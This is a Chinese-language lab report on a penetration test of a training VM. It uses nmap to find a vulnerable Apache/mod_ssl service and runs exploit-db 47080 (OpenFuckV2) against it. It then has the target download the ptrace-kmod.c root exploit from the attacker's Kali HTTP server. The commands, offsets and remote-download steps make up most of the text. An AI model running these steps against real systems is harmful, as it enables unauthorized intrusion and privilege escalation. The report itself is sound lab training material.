第 1 次打靶实验:对demo1进行靶机渗透测试并获得 root 权限
一、实验目的
- 取得目标靶机的 root 权限。
- 使用主机发现、端口扫描等攻击手段。
二、实验内容
1) 主机发现
首先执行命令:
1 | nmap -sn -iL ranges.txt -oA pingsweep -PE |

由此可以得到目标主机地址大概率就是 10.0.2.7
(也可以使用 apr-scan -l 进行扫描)
也可以通过 grep 使输出更简洁好看:
命令:
1 | grep "Up" pingsweep.gnmap |

2) 端口发现与扫描
快速端口扫描:
1 | nmap -Pn -n -p 22,25,53,80,443,445,1433,3306,3389,5800,5900,8080,8443 -iL targets.txt -oA quick-sweep |

对 10.0.2.7 的所有端口进行扫描(进一步验证是否是靶机):
1 | nmap -p- 10.0.2.7 |
发现开放端口里有 Web 服务 → 进一步确认它就是我们的靶机。
然后对靶机进行服务探测来确定每个端口的服务类型与版本:
1 | nmap -p22,80,111,139,443,32768 -sV 10.0.2.7 |

扫描结果中几个可能存在问题的组件:
- Apache 1.3.20
- mod_ssl 2.8.4
- OpenSSL 0.9.6b
3) 去 exploit-db 找 exp
访问 https://www.exploit-db.com/ 搜索 Apache 1.3.20 或 mod_ssl 2.8.4(这里以 mod_ssl 为例):

发现我们的 Apache 1.3.20 满足搜索结果中的第一个:
Apache mod_ssl < 2.8.7 OpenSSL - ‘OpenFuckV2.c’ Remote Buffer Overflow (2)
可以在网站下载漏洞利用代码(编号 47080),也可以使用 Kali 自带 exploit-db 离线库:
1 | searchsploit mod-ssl |

使用以下命令定位或复制漏洞利用代码:
1 | locate 47080.c |

(在使用漏洞代码之前要检查代码是否安全)

4) 编译执行 exp,完成攻击
47080.c 开头给出了需要安装的库与编译命令,按提示操作:
1 | apt-get install libssl-dev |
编译成功后执行:
1 | ./47080 |
如下图,工具给出使用方法;target 需要根据 nmap 得到的系统与 Apache 版本,并参考 Supported Offset 选择:

通过前面的信息收集可知系统为 Red Hat。可以直接查找:

或用 grep 进行筛选(示例命令):
1 | apt-get install libssl-dev |

从 0x6a 和 0x6b 中选一个即可(先用 0x6a 不行,0x6b 成功)。
执行攻击命令:
1 | ./47080 0x6b 10.0.2.7 443 -c 40 |
若未成功,原因可能是靶机无法与下载提权脚本的网站建立 SSL 连接:

在 Kali 上可成功下载,因此先在 Kali 下载 ptrace-kmod.c:
1 | wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c |

接着在 Kali 上起一个简单的 HTTP 服务(示意):

在新终端执行 ./47080 0x6b 10.0.2.7 443 -c 40,然后在靶机侧访问 Kali 并下载提权脚本:
1 | wget http://10.0.2.4/ptrace-kmod.c |


下载完成后 exit 退出,再次执行前述脚本。当出现“+”时输入:
1 | whoami |
若输出 root,说明已拿到 root 权限,渗透测试结束!

三、实验结果
通过攻击机 Kali Linux 对靶机 demo 1 进行渗透测试,并成功获得 root 权限:

四、实验中遇到的问题及解决方案
问题: 靶机与下载提权脚本的网站无法建立 SSL 连接。
解决: 在 Kali 上先下载提权脚本并开启简易 HTTP 服务,然后让靶机从 Kali 下载。
示例命令:
1 | echo '#!/bin/sh' > test |
五、实验的启示/总结
启示:
先把端口与服务扫全并尝试其行为(别只看版本);拿到低权限 shell 后再提权。文件下载失败时,可先在本机下载好,再用 Python 简易 HTTP 服务让靶机来取。